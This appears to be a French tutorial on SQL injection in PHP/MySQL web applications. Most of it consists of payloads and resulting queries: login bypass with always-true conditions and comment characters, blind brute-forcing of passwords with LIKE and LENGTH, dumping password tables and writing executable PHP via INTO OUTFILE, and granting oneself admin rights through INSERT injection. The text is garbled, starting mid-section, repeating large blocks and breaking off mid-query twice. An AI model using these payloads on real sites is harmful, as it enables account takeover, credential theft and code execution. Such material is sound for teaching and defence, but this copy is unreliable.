L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :


SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''


Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.

Reprenons la requête de l'intro :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";


pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name


et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";


(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.



INSERT :

Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :


$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";


Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :


INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')


et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)


Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :


$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";


Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :


INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''


Et le nouvel utilisateur sera créé avec des droits administrateurs.

Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :


CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


La requête SQL pourrait alors être du type :


$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";


Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :


INSERT INTO membres VALUES ('[target]P

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit


Introduction :

Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:


$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>


Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :


SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :


$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";


On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :


SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :


SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'


Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :


SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'




Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :


SELECT * FROM table WHERE nom='Jack'# commentaire


exécutera la requête :


SELECT * FROM table WHERE nom='Jack'


L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :


SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'


exécutera la requête :


SELECT * FROM table WHERE addresse='25 rue des roubys'


L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :


SELECT uid FROM admins WHERE login='John'#' AND password=''


et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :


SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''




Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :


$req = "SELECT password FROM admins WHERE login='$login'";


Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :


SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'


enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :


SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'


Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)

L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :


$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";


mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :


SELECT * FROM table WHERE msg LIKE '%hop'


va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.


SELECT * FROM table WHERE msg LIKE 'hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.


SELECT * FROM table WHERE msg LIKE '%hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.


SELECT * FROM table WHERE msg LIKE 'h%p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.


SELECT * FROM table WHERE msg LIKE 'h_p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :


SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''


Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :


SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''


Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.

Reprenons la requête de l'intro :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";


pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name


et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";


(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.



INSERT :

Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :


$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";


Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :


INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')


et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)


Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :


$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";


Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :


INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''


Et le nouvel utilisateur sera créé avec des droits administrateurs.

Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :


CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


La requête SQL pourrait alors être du type :


$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";


Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :


INSERT INTO membres VALUES ('[...]P

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit


Introduction :

Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:


$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>


Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :


SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :


$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";


On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :


SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :


SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'


Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :


SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'




Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :


SELECT * FROM table WHERE nom='Jack'# commentaire


exécutera la requête :


SELECT * FROM table WHERE nom='Jack'


L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :


SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'


exécutera la requête :


SELECT * FROM table WHERE addresse='25 rue des roubys'


L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :


SELECT uid FROM admins WHERE login='John'#' AND password=''


et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :


SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''




Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :


$req = "SELECT password FROM admins WHERE login='$login'";


Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :


SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'


enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :


SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'


Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)

L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :


$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";


